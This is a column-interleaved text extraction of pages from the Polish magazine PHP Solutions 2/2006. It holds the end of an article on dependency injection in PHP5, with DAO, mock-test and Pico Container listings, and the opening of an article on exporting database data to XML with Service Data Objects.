pisania testów jednostkowych są również public function addUser(User $u){
mocno ograniczone. Możemy tworzyć
je tylko na poziomie klasy UserService, $userDao = UserDAOPDOSingletonImpl::getInstance();

co oznacza, że w czasie testów musimy
$existingUser = $userDao->findUserByLoginName($u->getLogin());
dysponować całą, skonfigurowaną in- if ($existingUser == null){
frastrukturą (baza danych i odpowiednie $userDao->save($u);
dane testowe). Oczywiście takie testy są } else {
trudne do przygotowania, ich wyniki mo- throw new UserExistsException($u->getLogin());
}
gą zmieniać się w zależności od jakości
}
danych testowych, a samo uruchamianie
zestawu testów jest czasochłonne. Listing public function findUserByLoginName($login){
3 pokazuje szkielet takiego niezbyt zgrab-
nego testu. $userDao = UserDAOPDOSingletonImpl::getInstance();
return $userDao->findUserByLoginName($login);
Kolejny problem dotyczy ilości tworzo-
}
nych obiektów. W całej aplikacji wystarczy }
jeden obiekt połączenia z DB i jeden class UserDAOPDOSingletonImpl {
obiekt klasy UserDAO. W PHP, gdzie całe
środowisko wykonania jest tworzone od private static $_instance = null;
private $_pdoDB = null;
nowa przy każdym zapytaniu WWW, nie
możemy pozwolić sobie na bezcelowe private function __construct() {
tworzenie wielu obiektów. Będą on zajmo-
wały tylko cenną pamięć i czas procesora, if (is_null($this->_pdoDB)){
nie dając nic w zamian. $this->_pdoDB = new PDO(
"pgsql:dbname=ditest;host=localhost",
"postgres",
Singleton "postgres"
Wspomniana przed chwilą potrzeba );
tworzenia tylko jednej instancji obiek- }
tu natychmiast przywodzi na myśl }
public static function getInstance(){
wzorzec projektowy Singleton. Jest to
if (is_null(UserDAOPDOSingletonImpl::$_instance)){
jeden z najłatwiejszych do zrozumienia UserDAOPDOSingletonImpl::$_instance = new UserDAOPDOSingletonImpl();
i zaprogramowania wzorców, podpowia- }
dający w jaki sposób tworzyć obiekty return UserDAOPDOSingletonImpl::$_instance;
tak, by w całym programie znalazła się }
//pozostala część kodu dla UserDAO pozostaje bez zmian
tylko jedna instancja obiektu dla danej
klasy. Spójrzmy na Listing 4, gdzie przy Listing 5. Wiązanie obiektów przez zmienne globalne
ustalaniu powiązań pomiędzy obiektami
używamy właśnie Singletona. Trzeba $userDao = UserDAOPDOSingletonImpl :: getInstance();
przyznać, że rozwiązaliśmy jeden z pro-
class UserService3 implements UserService {
blemów – w całej aplikacji mamy tylko
jedną kopię połączenia z DB i UserDAO. public function addUser(User $u) {
Nie tracimy już zbędnych zasobów.
Niestety, nasze możliwości podmiany global $userDao;
strategi przechowywania danych użyt-
$existingUser = $userDao->findUserByLoginName($u->getLogin());
kowników nie poprawiły się ani trochę. if ($existingUser == null) {
W dalszym ciągu, by zmienić klasę za- $userDao->save($u);
pewniającą współpracę z DB, musimy } else {
modyfikować oryginalny kod. Pisanie throw new UserExistsException($u->getLogin());
}
testów jednostkowych jest równie uciąż-
}
liwe jak w przypadku używania operatora public function findUserByLoginName($login) {
new. Na podstawie dwóch przedstawio-
nych sytuacji widać, że potrzebujemy global $userDao;
bardziej elastycznego sposobu wiąza- return $userDao->findUserByLoginName($login);
}
nia obiektów. Na tyle elastycznego, by
}
możliwa była względnie łatwa podmiana
współpracujących ze sobą obiektów.

PHP Solutions Nr 2/2006 www.phpsolmag.org 27
Techniki OOP, wzorce projektowe

Global variables
Listing 6. Testy jednostkowe dla klasy wykorzystującej zmienne globalne O przykrych skutkach wynikających z uży-
wania zmiennych globalnych napisano już
function prepareTestUser() {
return new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski'); całe tomy: powstały kod jest nieczytelny,
} zależności pomiędzy obiektami są trudne
do zlokalizowania, zacierają się granice
class MockUserDAOWithoutUser implements UserDAO { poszczególnych warstw w architekturze.
Co gorsza, bardzo łatwo popełnić trudne
private $_savedUser;
public function findUserByLoginName($login) { do odnalezienia błędy, przypadkowo nad-
return null; pisując jedną ze zmiennych globalnych.
} Niestety, nawet świadomość wszystkich
wymienionych wad czasami nie powstrzy-
public function save(User $u) {
muje nas przed zastosowaniem rozwiąza-
$this->_savedUser = $u;
} nia jak na Listingu 5. Trzeba przyznać, że
public function getSavedLogin() { stare “dobre” zmienne globalne okazały się
return $this->_savedUser->getLogin(); pomocne. Pisanie testów jednostkowych
} nagle stało się łatwiejsze i możliwe nawet
}
bez połączenia z bazą danych (Listing 6).
class MockUserDAOWithUser implements UserDAO { Zmieniając wartość jednego, globalnego
ustawienia, możemy przestawić aplikację
public function findUserByLoginName($login) { na zupełnie nowy sposób przechowywania
return prepareTestUser();
danych użytkowników.
}
Zaraz, zaraz, a co z różnymi połącze-
public function save(User $u) {
} niami do bazy danych? Co zrobić w sytu-
} acji, gdy chcemy zapisać dane osobowe
w zupełnie innej składnicy, zupełnie od-
class TestWithMocksAndGlobalVar extends UnitTestCase {
dzielnej bazie danych? Jesteśmy w trudnej
sytuacji – połączenie z DB jest zdefiniowa-
public function testSavingIfNotExists() {
ne w zmiennej globalnej.
global $userDao; Powrócił też, wydawałoby się już roz-
wiązany, problem tworzenia zbyt wielu in-
//podmiana globalnego DAO "oszukaną" wersją
stancji obiektów. Konstruowanie wszystkich
$oldUserDao = $userDao;
DAO na początku każdego skryptu (nawet
$userDao = new MockUserDAOWithoutUser();
$user = prepareTestUser(); tych, które nie zostaną użyte w danym
$us = new UserService3(); przetwarzaniu) jest niepotrzebnym marno-
$us->addUser($user); waniem cennych zasobów.
Aby całkowicie zdyskredytować roz-
$this->assertEqual($userDao->getSavedLogin(), $user->getLogin());
wiązanie oparte na zmiennych globalnych,
$userDao = $oldUserDao;
} dodajmy tylko, że ich użycie skutecznie
public function testThrowsExceptionIfExists() { niszczy całą architekturę i podział aplikacji
na warstwy. Ponieważ wszystkie części
global $userDao;
aplikacji mają dostęp do DBConnection,
może zdarzyć się, że pobieranie danych
//podmiana globalnego DAO "oszukana" wersją
$oldUserDao = $userDao; odbywa się w wielu niekontrolowanych
$userDao = new MockUserDAOWithUser(); miejscach – nawet w warstwie widoku.
Podejście takie w krótkim czasie powoduje
$user = prepareTestUser(); zmianę solidnej architektury w nieprzenik-
$us = new UserService3();
nioną sieć powiązań.
try { Jakkolwiek zmienne globalne są nie do
$us->addUser($user); przyjęcia, podpowiadają nam one właściwy
$this->fail(); sposób rozwiązania problemu: w metodzie
} catch (Exception $e) { addUser musimy mieć referencję do obiektu
$this->assertEqual($e->getExistingLoginName(), $user->getLogin());
UserDAO. Jak ją uzyskać bez uciekania się
}
$userDao = $oldUserDao; do Singletonów i operatora new?
}
} Inner factory
$test = new TestWithMocksAndGlobalVar(); Spróbujmy zastosować prostą sztuczkę
$test->run(new HtmlReporter());
pokazaną na Listingu 7. W ten sposób
zachowujemy zalety Singletona (jedna

28 www.phpsolmag.org PHP Solutions Nr 2/2006
OOP, Dependency Injection Techniki

kopia obiektu tworzona w momencie, kiedy
jest potrzebna) i jednocześnie otwieramy Listing 7. Wykorzystanie inner factory
sobie drogę do łatwego pisania testów
class UserService4 implements UserService {
jednostkowych (Listing 8). Wprawdzie nie
umożliwiliśmy podmiany klasy UserDAO, ale public function addUser(User $u) {
przedstawiony trick wskazuje nam drogę
poszukiwań jeszcze lepszego rozwiązania. $existingUser = $this->getUserDao()->findUserByLoginName($u->getLogin());
if ($existingUser == null) {
$this->getUserDao()->save($u);
Static factory, factory function } else {
Przenieśmy tworzenie obiektów DAO throw new UserExistsException($u->getLogin());
do osobnej klasy, DAOFactory (Listing 9). }
Pojawia się tu kolejny wzorzec projektowy }
public function findUserByLoginName($login) {
– fabryka (ang. Factory). Przez jej dodanie
tworzymy dodatkową warstwę abstrakcji, $userDao = $this->getUserDao();
odpowiedzialną za dostarczenie konkret- return $userDao->findUserByLoginName($login);
nej implementacji klasy. Podejście takie }
rozwiązuje wszystkie napotkane do tej protected function getUserDao() {
return UserDAOPDOSingletonImpl :: getInstance();
pory problemy: obiekty tworzone są na żą-
}
danie, możemy podmieniać poszczególne }
implementacje i testować nasz kod. W tym
schemacie postępowania nie ma znacze- Listing 8. Testy jednostkowe z inner factory
nia, w jaki sposób uzyskujemy dostęp do
class UserServiceWithMockUserDAOWithoutUser extends UserService4 {
obiektów typu fabryka – poprzez Single-
ton czy przez zamknięcie logiki fabryki private $_userDao = null;
w oddzielnej metodzie. W tym ostatnim
przypadku jednak puryści obiektowi mogą protected function getUserDao() {
if (is_null($this->_userDao)) {
czuć się nieco urażeni.
$this->_userDao = new MockUserDAOWithoutUser();
Wydaje się, że znaleźliśmy idealne }
rozwiązanie, możecie więc zastanawiać return $this->_userDao;
się, dlaczego jesteśmy dopiero w połowie }
artykułu? Okazuje się, że nawet to, co public function getSavedLogin() {
return $this->getUserDao()->getSavedLogin();
osiągnęliśmy, uda się jeszcze ulepszyć.
}
Poradziliśmy sobie bowiem z najbardziej }
palącymi problemami, ale nie zrobiliśmy
tego w sposób najbardziej efektywny. Kod class UserServiceWithMockUserDAOWithUser extends UserService4 {
dla fabryk DAO będzie bardzo podobny.
protected function getUserDao() {
Co gorsza, takie powielanie kodu czeka
return new MockUserDAOWithUser();
nas w przypadku każdego nowego rodza- }
ju fabryki. A gdyby tak zbudować jedną, }
globalną fabrykę obiektów? class TestWithInnerFactory extends UnitTestCase {

public function testSavingIfNotExists() {
Registry, ServiceLocator
Rozwiązanie, które za chwilę zobaczymy, $user = prepareTestUser();
określa się mianem rejestru lub dostawcy $us = new UserServiceWithMockUserDAOWithoutUser();
serwisów (ang. Registry lub Service Loca- $us->addUser($user);
tor). Zasada wykorzystania jest bardzo po- $this->assertEqual($us->getSavedLogin(), $user->getLogin());
}
dobna, jak w przypadku fabryk – z tą tylko
public function testThrowsExceptionIfExists() {
różnicą, że teraz możemy poprosić o obiekt
dowolnego typu (Listing 10). Zlikwidowa- $user = prepareTestUser();
liśmy powtórzenia kodu w fabrykach, ale $us = new UserServiceWithMockUserDAOWithUser();
kosztem znacznego skomplikowania konfi-
try {
guracji. To jest największą wadą przedsta-
$us->addUser($user);
wionego rozwiązania. $this->fail();
Jeśli do całego obrazu włączymy testy } catch (Exception $e) {
jednostkowe, to okaże się, że musimy $this->assertEqual($e->getExistingLoginName(), $user->getLogin());
zarządzać dwoma zestawami konfigura- }
}
cji. W rozbudowanej aplikacji staje się to
}
zauważalnym problemem. Z architekto-
nicznego punktu widzenia powinien nas

PHP Solutions Nr 2/2006 www.phpsolmag.org 29
Techniki OOP, wzorce projektowe

zaniepokoić jeszcze jeden fakt: bardzo du-
Listing 9. DAOFactory żo obiektów zależy od jednego, centralne-
go rejestru. Większość obiektów musi być
class UserServiceImpl5 implements UserService {
świadoma obecności rejestru w systemie.
public function addUser(User $u){ Praktycznie w każdym przypadku testo-
wym należy przygotowywać środowisko,
$userDao = UserDAOFactory::getDAO(); podstawiając w rejestrze spreparowane
obiekty. Jest to oczywiście o wiele łatwiej-
$existingUser = $userDao->findUserByLoginName($u->getLogin());
if ($existingUser == null){ sze, niż rzeczywiste konfigurowanie bazy
$userDao->save($u); danych i innych elementów infrastruktury,
} else { ale w dalszym ciągu dość uciążliwe.
throw new UserExistsException($u->getLogin());

}
}
Nie dzwoń do nas,
} my odezwiemy się
do Ciebie
class UserDAOFactory { Stwierdzenie, które pojawia się w tytule
tej części artykułu, zwykle przyprawia nas
private static $_userDAO = null;
o gęsią skórkę, jeśli akurat poszukujemy
public static function registerDAO(UserDAO $userDAO){ pracy. To, co w świecie rzeczywistym jest
UserDAOFactory::$_userDAO = $userDAO; nieprzyjemnym doświadczeniem, w zo-
} rientowanej obiektowo aplikacji może być
dobrodziejstwem. Spróbujmy się przez
public static function getDAO(){
chwilę zastanowić, co by się stało, gdy-
if (is_null(UserDAOFactory::$_userDAO)){
throw new Exception('Najpierw zarejestruj implementacje UserDAO!'); by dany obiekt nie musiał samodzielnie
} else { wyszukiwać innych, potrzebnych mu do
return UserDAOFactory::$_userDAO; współpracy obiektów? We wszystkich
} wcześniej przedstawionych sytuacjach
}
UserService był odpowiedzialny za odna-
}
lezienie odpowiedniej instancji UserDAO.
Listing 10. Service Locator A gdyby tak odwrócić role? Gdyby UserDAO
w jakiś sposób trafiał do UserService?
class UserServiceImpl6 implements UserService {

public function addUser(User $u){
Setter
Idąc tropem nowego sposobu myślenia,
$userDao = ServiceLocator::getObject("UserDAO"); możemy zmienić UserService tak, jak na
Listingu 11. Teraz współpracujące obiekty
$existingUser = $userDao->findUserByLoginName($u->getLogin());
pojawiają się samoistnie, bez jakiego-
if ($existingUser == null){
$userDao->save($u);
kolwiek wysiłku ze strony UserService.
} else { Testowanie tak skonstruowanych obiektów
throw new UserExistsException($u->getLogin()); jest dziecinnie proste (Listing 12) i dopraw-
} dy trudno wymagać tutaj czegoś więcej.
}
Nareszcie możliwe staje się prowadzenie
}
prawdziwych testów jednostkowych, w któ-
class ServiceLocator { rych sprawdzany jest jeden obiekt, w zu-
pełnej izolacji od pozostałych składników
private static $_objectsArray = array(); systemu. Nie musimy wykonywać skompli-
kowanych manipulacji z konfiguracją.
public static function registerObject($key, $objectImpl){
ServiceLocator::$_objectsArray[$key] = $objectImpl;
} Konstruktor
Możemy trochę poprawić swoją sytu-
public static function getObject($key){ ację, przekazując zależne byty tylko raz,
if (is_null(ServiceLocator::$_objectsArray[$key])){
podczas konstruowania obiektu. Nasze
throw new Exception("Najpierw zarejestruj obiekt '$key'");
} else {
metody nie muszą już zawierać długiej
return ServiceLocator::$_objectsArray[$key]; listy parametrów związanych tylko i wy-
} łącznie z infrastrukturą. Nie straciliśmy też
} nabytych już zalet związanych z łatwością
}
testowania. Wykonany krok jest ruchem
w zdecydowanie dobrym kierunku. Nasza
niskopoziomowa architektura wygląda du-

30 www.phpsolmag.org PHP Solutions Nr 2/2006
Techniki OOP, wzorce projektowe

żo lepiej: jest bardzo elastyczna, wspoma-
ga pisanie testów jednostkowych. Łączenie Listing 11. Ustawianie zależności z zewnątrz
poszczególnych elementów w działający
class UserServiceImpl7 implements UserService {
program stało się dużo łatwiejsze. Potrzeb-
ne do współpracy obiekty nie są zapisane private $_userDao = null;
na stałe, zbędna stała się skomplikowana public function addUser(User $u) {
konfiguracja. Zmieniliśmy sposób myślenia
$existingUser = $this->_userDao->findUserByLoginName($u->getLogin());
o zależnościach, odwracając role poszcze-
if ($existingUser == null) {
gólnych obiektów. To odwrócenie ról dało $this->_userDao->save($u);
początek nazwie wzorca projektowego, } else {
którym określa się przedstawiony sposób throw new UserExistsException($u->getLogin());
pisania programów: IoC (ang. Inversion }
}
of Control). Wzorzec ten funkcjonuje pod
public function findUserByLoginName($login) {
jeszcze jedną nazwą: wstrzykiwanie zależ- return $this->_userDao->findUserByLoginName($login);
ności (ang. Dependency Injection). }
public function setUserDao(UserDAO $userDao) {
Dependency Injection $this->_userDao = $userDao;
}
Badając różne możliwości łączenia ze
}
sobą obiektów, doszliśmy do prostego,
ale bardzo funkcjonalnego rozwiązania. class UserDAOPDOImpl implements UserDAO {
Taki sposób pisania programów staje się
coraz bardziej popularny i jest ku temu private $_pdoDB = null;
public function setConnection(PDO $pdoDB) {
bardzo dobry powód. Powstające w ten
return $this->_pdoDB = $pdoDB;
sposób systemy mają bardzo przejrzystą }
i elastyczna architekturę. Ich rozwijanie public function getConnection() {
i utrzymywanie jest znacznie prostsze niż return $this->_pdoDB;
w przypadku gąszczu kodu, w którym nie }
public function findUserByLoginName($login) {
jesteśmy w stanie kontrolować powiązań
pomiędzy poszczególnymi składnikami. $stmt = $this->_pdoDB->prepare("SELECT * FROM users WHERE login =
Niestety, przy przedstawionym po- :login");
dejściu ciężar pracy, od której uwolnił się $stmt->bindParam(":login", $login);
obiekt, spadnie teraz na programistę. To on $stmt->execute();

będzie musiał dodać parametry do wszyst-
if ($stmt->rowCount() > 0) {
kich metod, w których niezbędne jest połą- $rows = $stmt->fetchAll();
czenie kilku obiektów we współpracującą $returnUser = new User($rows[0]['login'], $rows[0]['upassword'],
całość. Co gorsza, obiekty takie jak UserDAO $rows[0]['firstname'], $rows[0]['lastname']);
trzeba przekazywać przez wiele warstw return $returnUser;
} else {
systemu, od początku skryptu, poprzez
return null;
kontrolery MVC. Ten sam problem dotyczy }
połączenia z bazą danych. Sytuacja wyglą- }
da więc tak, że zbudowaliśmy bardzo ele- public function save(User $u) {
gancką architekturę, która jest nieprzyjazna
$stmt = $this->_pdoDB->prepare("
w użyciu. Pisząc aplikację według takiego
INSERT INTO users( login, upassword, firstname, lastname )
planu będziemy mieli wrażenie, że wyko- VALUES( :login, :upassword, :firstname, :lastname )");
nujemy dziesiątki niepotrzebnych operacji,
pracowicie dodając kolejne parametry do $stmt->execute(array (":login" => $u->getLogin(), ":upassword" =>
konstruktorów. $u->getPassword(), ":firstname" => $u->getFirstName(),
":lastname" =>$u->getLastName()));
Idealnie byłoby, gdyby istniał sposób
}
na automatyczne konfigurowanie całych }
grafów obiektów. W takim przypadku
programista nie musiałby przejmować się $pdo = new PDO("pgsql:dbname=ditest;host=localhost", "postgres", "postgres");
pracowitym wiązaniem obiektów. Na szczę-
$userDao = new UserDAOPDOImpl();
ście istnieją biblioteki, które znakomicie
$userDao->setConnection($pdo);
ułatwiają pracę z programami tworzonymi $uservice = new UserServiceImpl7();
w duchu IoC. $uservice->setUserDao($userDao);
$user = new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski');
Kontener IoC $uservice->addUser($user, $userDao);

Wyobraźmy sobie wielki worek, do którego
wrzucamy obiekty, nie martwiąc się o po-

32 www.phpsolmag.org PHP Solutions Nr 2/2006
OOP, Dependency Injection Techniki

wiązania między nimi. Wszystko dokład- ciem. Zamiast tego będziemy musieli za- szybko minie, jeśli przez chwilę przyjrzymy
nie wymieszajmy i sięgamy do worka po dowolić się implementacją kontenera IoC, się sygnaturom konstruktora UserService
jeden z obiektów. To nie jest taki całkiem który spełni identyczną rolę. i UserDAO. Przecież wszystkie informacje
zwykły worek, bo gdy wyjmujemy konkret- W świecie Java filozofia IoC zadomo- o zależnościach zostały już wyrażone w ty-
ny obiekt, to ciągną się za nim wszystkie wiła się na dobre, zaś najpopularniejsze pach parametrów. Pico potrafi skorzystać
niezbędne do pracy obiekty zależne. To kontenery to Spring Framework i Pico z tych informacji i nie zanudza programi-
magiczny worek dba o powiązanie tak, że Container. Dla tego ostatniego istnieje sty kolejnymi prośbami o dane, które już
w efekcie wyjmujemy cały, przygotowany wersja przygotowana specjalnie dla PHP5. posiada.
do działania graf obiektów. Jeśli odwołamy Spójrzmy na Listing 13, gdzie pokazany Kolejną miłą cechą Pico jest jego nie-
się do rozważanego wcześniej przykładu, jest sposób wykorzystania Pico. nachalna współpraca. Wykonuje dobrą
to sięgnięcie po obiekt klasy UserService Na pierwszy rzut oka zaskakujący mo- robotę konfigurując poszczególne obiekty,
spowoduje pobieranie UserDAO, a to z kolei że wydawać się fakt, iż w żadnym miejscu ale nie jest niezbędny do działania całej
– połączenia z DB. nie specyfikujemy połączeń pomiędzy aplikacji. Zmienił się tylko sposób kon-
Niestety, mimo ogromnych możliwości obiektami. Najzwyczajniej w świecie re- figuracji połączeń. Do całej architektury
PHP5, zaprogramowanie magicznego jestrujemy kilka obiektów, a o pozostałe wprowadziliśmy pomocną bibliotekę, a nie
worka może być trudnym przedsięwzię- rzeczy martwi się Pico. Nasze zaskoczenie ociężały framework dyktujący sposób pisa-
nia kodu.
Listing 12. Testowanie klas pokazanych na Listingu 11 Możliwości tej niewielkiej biblioteki są
naprawdę duże i oprócz konfigurowania
class TestWithMocksAndSetterInjection extends UnitTestCase { obiektów potrafi ona również zapewnić
włączanie (instrukcja include lub require)
public function testSavingIfNotExists() {
tylko tych definicji klas, które są potrzebne
$user = prepareTestUser();
$us = new UserServiceImpl7(); podczas wykonania danego modułu. Sze-
$userDao = new MockUserDAOWithoutUser(); rzej możliwości Pico Container opiszemy
$us->setUserDao($userDao); wkrótce w drugiej części tego artykułu.
$us->addUser($user);
$this->assertEqual($userDao->getSavedLogin(), $user->getLogin());
}
Podsumowanie
public function testThrowsExceptionIfExists() { Wstrzykiwanie zależności zamiast ich
$user = prepareTestUser(); poszukiwania jest dobrym pomysłem archi-
$us = new UserServiceImpl7(); tektonicznym. Prowadzi do bardzo jasnego
$userDao = new MockUserDAOWithUser(); zaprezentowania zależności pomiędzy
$us->setUserDao($userDao);
poszczególnymi obiektami, co przekłada
try {
$us->addUser($user); się na lepiej skonstruowany, bardziej czy-
$this->fail(); telny kod. Precyzyjne zaznaczenie granic
} catch (Exception $e) { poszczególnych komponentów umożliwia
$this->assertEqual($e->getExistingLoginName(), $user->getLogin()); łatwe pisanie testów jednostkowych, które
}
mogą być uruchamiane bez konieczno-
}
} ści przygotowywania całej infrastruktury.
Jedyną niedogodnością może być nieco
Listing 13. Konfigurowanie aplikacji przy pomocy Pico Container uciążliwy proces łączenia poszczególnych
obiektów w gotową aplikację. Na szczęście
<?php
//wlaczenie definicji Pico Container
i ten problem można łatwo rozwiązać sto-
define('PICO_PATH','D:/www/container/src'); sując kontenery IoC, chociażby wspomnia-
require_once(PICO_PATH.'/pico.inc.php'); ny Pico Container. 
//wlaczenie klas z implementacja
require_once('include.all.php');
require_once('listing12.php');
//konfiguracja
$pico = new DefaultPicoContainer();
$pico->registerComponentImplementation('UserServiceImpl8');
$pico->registerComponentImplementation('UserDAOPDOImpl');
O autorze
$pico->registerComponent(new InstanceComponentAdapter(new PDO(
Paweł Kozłowski jest pracownikiem
"pgsql:dbname=ditest;host=localhost",
SUPERMEDIA, gdzie od roku 2000
"postgres", projektuje i tworzy złożone aplikacje
"postgres" WWW w PHP. Obecnie zajmuje się roz-
))); wijaniem frameworków i bibliotek ORM
opartych na PHP5. Jest autorem portu
//uzycie w aplikacji PicoContainer dla PHP5 i wielu publika-
$userService = $pico->getComponentInstance('UserServiceImpl8'); cji poświęconych PHP.
$userService->addUser(new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski')); Kontakt z autorem: pkozlowski@phpsol-
?> mag.org.

PHP Solutions Nr 2/2006 www.phpsolmag.org 33
Techniki

Service Data Objects,
czyli uniwersalny standard
dostępu do danych
– część druga
Stopień trudności: 
Piotr Szarwas

Wracamy do SDO: rozwiązania, które
zrewolucjonizuje i zunifikuje sposób dostępu
do danych w PHP. Pokażemy, jak szalenie
użyteczne staje się SDO w świecie XML-a,
zdejmując z barków programisty ciężar
przenoszenia danych między systemem
bazodanowym a plikami XML.

W
poprzednim numerze PHP nie musimy się przejmować sposobem
Solutions omówiliśmy ogólnie fizycznego przechowywania danych.
rozszerzenie SDO (ang. Servi- Dane wchodzące i wychodzące
ce Data Objects). Pokazaliśmy, jak je wy- z obiektów DAS mają postać drzewa
korzystać do obsługi prostej bazy danych obiektów SDO. Za stworzenie drzew od-
służącej do przechowywania newsów. powiedzialne są klasy DAS, które dzięki
Przypomnijmy, że SDO jest elemen- tzw. mappingom przetwarzają dane zapi-
tem architektury stworzonej przez IBM sane w formacie właściwym dla danego
i BEA, mającej na celu ułatwienie, czy źródła na obiekty SDO. W przypadku bazy
wręcz ujednolicić dostęp do danych po- danych mappingiem jest zestaw tablic aso-
chodzących z wielu różnych źródeł. Na- cjacyjnych opisujących strukturę tabel i re-
rzędzie to zapewnia wspólny interfejs, za lacje pomiędzy nimi. Natomiast dla plików
pomocą którego programiści będą mogli XML jest to plik XML Schema.
W SIECI zarządzać danymi pochodzącymi z re-
lacyjnych baz danych, plików XML, Web
Services (webserwisów) i wielu innych Co należy wiedzieć...
1. http://www.ibm.com/ Potrzebna będzie podstawowa znajo-
developerworks/webservices źródeł. mość obsługi baz danych w SDO, pro-
– pełna specyfikacja archi- Na Rysunku 1 przedstawiamy schemat
tektury SDO gramowania obiektowego oraz standardu
2. http://www.w3schools.com/ architektury SDO. Jak widzimy, za dostęp XML.
schema/default.asp – tuto- do źródeł danych odpowiadają obiekty
rial tworzenia plików XML
DAS (ang. Data Access Service). Ukrywają
Co obiecujemy...
Schema Pokażemy, jak przy pomocy SDO eks-
3. http://www.w3.org/TR/ one przed programistą szczegóły związa- portować dane z relacyjnej bazy danych
xmlschema-1/ – oficjalna
specyfikacja W3C dotycząca
ne z komunikacją z odpowiednim źródłem do plików XML.
XML Schema danych. Użycie tych obiektów sprawia, że

34 www.phpsolmag.org PHP Solutions Nr 2/2006
SDO Techniki

Obecna implementacja standardu
SDO w PHP nie jest jeszcze kompletna.
Jedynymi obsługiwanymi źródłami danych
są na razie bazy danych i pliki XML. Wy-
miana danych z bazami odbywa się z wy-
korzystywaniem rozszerzenia PDO i jest
obsługiwana przez napisaną w PHP klasę
SDO_DAS_Relational. Komunikacja z plika-
mi XML odbywa się natomiast przy użyciu
napisanej w C jako zend_extension klasy
SDO_DAS_XML oraz klasy pomocniczej,
którą jest libxml2.
W tym artykule zajmiemy się możliwo-
ściami SDO związanymi z obróbką plików
XML. Pokażemy, jak importować i ekspor- Rysunek 1. Architektura SDO
tować dane pochodzące z przedstawionej
w poprzednim artykule o SDO bazy da- Listing 1. Instrukcje SQL-owe tworzące bazę newsów dla MySQL-a
nych, której schemat przedstawiamy na
Listingu 1. Na koniec zademonstrujemy /****************************************
wykorzystanie SDO w celu pozyskiwania * tabela z grupami newsów
*
zamieszczonych na zewnętrznych serwi-
*****************************************/
sach newsów w formacie RSS. create table news_groups (
ng_id int(11) not null auto_increment,
Instalacja ng_name varchar(100) not null,
rozszerzenia SDO ng_description text,
primary key (ng_id)
W poprzednim artykule o SDO opisaliśmy
);
dokładnie instalację tego rozszerzenia. Od /****************************************
czasu napisania tamtego tekstu, pojawiła * tabela z newsami, która zawiera relację do news_groups
się nowa wersja SDO opatrzona numerem *
0.6, z której korzystamy tym razem. Nie *****************************************/
create table news_contents (
wnosi ona żadnych większych zmian, tak
nc_id int(11) not null auto_increment,
więc kod, który będziemy omawiali, powi- ng_id int(11) not null,
nien bez problemów współpracować ze nc_subject varchar(100) not null,
wszystkimi wcześniejszymi wersjami SDO. nc_lead text,
Pamiętajmy, że rozszerzenie SDO będzie nc_content text not null,
primary key (nc_id)
działało wyłącznie z PHP 5.1 lub nowszym.
);
Klasa SDO_DAS_XML korzysta z bi-
blioteki libxml2, więc będziemy musieli Listing 2. Mappingi dla dwóch tabel: news_groups ($newsGroupsMap) oraz
ją również zainstalować. Jej obecność news_contents ($newsContentsMap)
w instalacji PHP sprawdzimy wywołując
<?php
funkcję phpinfo().
$newsGroupsMap = array (
Dodatkowo, aby rozszerzenie SDO 'name' => 'news_groups',
w ogóle działało, należy do pliku php.ini 'columns' => array( 'ng_id', 'ng_name', 'ng_description' ),
dodać następujące linie: extension=sdo.so 'PK' => 'ng_id'
);
i extension=sdo_das_xml.so (pod Li-
nuksem) lub extension=php_sdo.dll
$newsContentsMap = array (
i extension=php_sdo_das_xml.dll (pod 'name' => 'news_contents',
Windows). 'columns' => array( 'nc_id', 'ng_id', 'nc_subject', 'nc_lead', 'nc_content'),
'PK' => 'nc_id',
Eksport danych z bazy 'FK' => array (
'from' => 'ng_id',
Duża część aplikacji WWW, a w szególno-
'to' => 'news_groups',
ści systemy intranetowe i extranetowe wy- )
mieniają dane z rozwiązaniami klasy ERP );
czy CRM. Wymiana może następować $newsContentsRelationsMap = array( 'parent' => 'news_groups', 'child' =>
'news_contents' );
poprzez pliki (np. CSV czy XML), bezpo-
?>
średni dostęp do bazy, Web Services oraz
przy użyciu innych metod. Najpopularniej-

PHP Solutions Nr 2/2006 www.phpsolmag.org 35
Techniki SDO

szym obecnie sposobem wymiany danych stworzymy mapping, który zawiera błę- XML. Pamiętajmy, że SDO_DAS_Relational
są pliki XML. dy, SDO poinformuje nas o tym poprzez jest klasą napisaną w PHP i aby była ona
zgłoszenie wyjątku z odpowiednim opisem widoczna, musimy w naszym skrypcie
Koncepcja projektu wskazującym nam miejsce wystąpienia dołączyć plik Relational.php, który jest do-
Pokażemy, jak łatwo możemy napisać pomyłki. Nie musimy się więc martwić, stępny wraz z rozszerzeniem SDO.
korzystające z SDO skrypty służące do że niepoprawnie stworzony mapping bę- W przypadku rozszerzenia XML
eksportu danych z relacyjnej bazy danych dzie powodował błędne działanie całego mappingiem jest plik XML Schema. Na
do plików XML. W przykładzie tym posłu- skryptu. Listingu 4 przedstawiamy plik XML Sche-
żymy się wiedzą zdobyta w poprzednim Na Listingu 3 pokazujemy operacje, ma dla naszego przykładu. Budowanie
artykule o SDO. Wykorzystamy też sche- jakie należy wykonać, aby pobrać drzewo plików XML Schema zostało omówione
mat bazy danych z Listingu 1. Pobierzemy obiektów SDO z bazy danych. Są to trzy pod adresem http://www.w3schools.com/
dane z bazy korzystając z klasy SDO_DAS_ działania: nawiązanie połączenia z bazą schema/default.asp, a takżę w książce
Relational, która odpowiada w SDO za danych przy pomocy klasy PDO, inicjacja zat. XML Schema wydawnictwa O'Reilly,
komunikację z bazami danych. Następnie klasy SDO_DAS_Relational i wywołanie której autorem jest Eric van der Vlist.
zapiszemy otrzymane dane do pliku XML metody executeQuery() na obiekcie klasy W naszym przykładzie plik XML Sche-
przy pomocy SDO_DAS_XML, klasy odpowie- SDO_DAS_Relational. Na skutek użycia ma składa się z trzech typów. Pierwszy
dzialnej za obróbkę plików XML w rozsze- tej ostatniej metody otrzymamy drzewo z nich, SDO_DAS_Relational_RootType,
rzeniu SDO. obiektów SDO, które następnie zapiszemy zawiera listę wszystkich grup newsów, jest
w pliku XML. Najpierw jednak musimy więc pewnego rodzaju kontenerem. Dru-
Jak zacząć, czyli o mappingach stworzyć mapping dla klasy SDO_DAS_ gi, noszący nazwę news_groups, opisuje
Dzięki temu, że architektura SDO jest lo-
gicznie podzielona na dwa typy obiektów: Listing 3. Skrypt pobierający grupy newsów wraz z poszczególnymi
odpowiadające za strukturę i operacje wiadomościami z bazy danych
na danych, przenoszenie tych samych
obiektów zawierających dane pomiędzy <?php
require_once 'Relational.php';
